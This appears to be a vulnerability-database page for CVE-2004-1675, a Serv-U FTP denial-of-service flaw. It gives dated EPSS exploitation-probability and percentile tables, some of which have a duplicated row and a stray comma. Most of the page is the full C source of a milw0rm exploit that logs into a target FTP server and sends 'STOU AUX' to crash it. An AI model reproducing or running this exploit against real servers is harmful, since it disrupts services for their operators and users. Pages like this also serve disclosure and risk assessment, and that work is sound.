CVE-2004-1675 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	5.33%	–
2024-01-28	–	–	–	4.65%	–
2024-06-02	–	–	–	4.65%	–
2024-12-22	–	–	–	1.47%	–
2025-01-12	–	–	–	1.47%	–
2025-01-19	–	–	–	1.47%	–
2025-03-18	–	–	–	–	8.98%
2025-03-30	–	–	–	–	10.87%
2025-03-30	–	–	–	–	10.87,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	92%
2024-01-28	92%
2024-06-02	93%
2024-12-22	86%
2025-01-12	87%
2025-01-19	87%
2025-03-18	92%
2025-03-30	93%
2025-03-30	93%

/* denial of service in Serv-u up to 5.2 str0ke@milw0rm.com - www.milw0rm.com Advisory: http://www.securitytracker.com/alerts/2004/Sep/1011219.html Ya its useless. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> #define SERVER_PORT 21 usage(char *name) { printf("usage: %s -h hostname/ip -u user -p passwd\n",name); printf("\t\tstr0ke - Serv-U up to 5.2 Denial of Service\n"); exit(0); } main(int argc, char *argv[]) { char buffer[1000],host[255],user[255],pass[255],c; int sd, rc, i=0; struct sockaddr_in localAddr, servAddr; struct hostent *h; if ( argc < 3) { usage(argv[0]); } while ((c = getopt (argc, argv, "h:u:p:")) != EOF) switch(c) { case 'h': strncpy(host,optarg,sizeof(host)); break; case 'u': strncpy(user,optarg,sizeof(user)); break; case 'p': strncpy(pass,optarg,sizeof(pass)); break; } h = gethostbyname(host); if(h==NULL) { printf("unknown host '%s'\n",host); exit(1); } servAddr.sin_family = h->h_addrtype; memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); servAddr.sin_port = htons(SERVER_PORT); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd<0) { perror("cannot open socket "); exit(1); } localAddr.sin_family = AF_INET; localAddr.sin_addr.s_addr = htonl(INADDR_ANY); localAddr.sin_port = htons(0); rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr)); if(rc<0) { printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT); perror("error "); exit(1); } printf("Trying To Connect To [%s]\n",host); rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr)); if(rc<0) { perror("cannot connect "); exit(1); } printf("Trying Login With [%s]\n",user); snprintf(buffer,sizeof(buffer), "USER %s\r\n", user); rc = send(sd, buffer, strlen(buffer), 0); memset(buffer,0,sizeof(buffer)); while(1) { rc=recv(sd,buffer,sizeof(buffer),0); if(strstr(buffer,"331")) break; if(strstr(buffer,"421")) { printf("Access Denied on your arse..\n"); exit(0); } } printf("Sending Pass - [%s]\n",pass); memset(buffer,0,sizeof(buffer)); snprintf(buffer,sizeof(buffer), "PASS %s\r\n", pass); rc = send(sd,buffer, strlen(buffer), 0); while(1) { rc=recv(sd,buffer,sizeof(buffer),0); if(strstr(buffer,"230")) break; if(strstr(buffer,"421")) { printf("Access Denied on your arse..\n"); exit(0); } if(strstr(buffer,"530")) { printf("Access Denied: Login Incorrect!\n"); exit(0); } } memset(buffer,0,sizeof(buffer)); snprintf(buffer,sizeof(buffer), "STOU AUX\r\n"); rc = send(sd,buffer, strlen(buffer), 0); printf("Dos Sent\n"); if(rc<0) { perror("cannot send data "); close(sd); exit(1); } return 0; } // milw0rm.com [2004-09-13]